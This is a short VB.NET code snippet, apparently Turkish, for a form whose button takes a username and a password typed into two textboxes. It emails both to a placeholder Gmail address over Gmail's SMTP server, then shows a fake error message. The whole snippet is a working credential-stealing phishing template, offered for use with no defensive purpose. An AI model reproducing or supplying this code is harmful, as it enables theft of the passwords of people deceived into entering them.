imports system.net.mail

button1 code:
Dim smtp as new SmtpClient()
dim mail as new mailmessage()
mail.to.add("?????@gmail.com")
mail.from = new mailaddress("????@gmail.com")
mail.subject = "Info"
mail.body = "ad: " & textbox1.text & " sifre: " & textbox2.text
smtp.credentials = new net.networkcredential("????@gmail.com", "ye-mail sifrsei yazin ")
smtp.enablessl = true
smtp.port = 587
smtp.Host = "smtp.gmail.com"
smtp.Send(mail)
msgbox("error/message")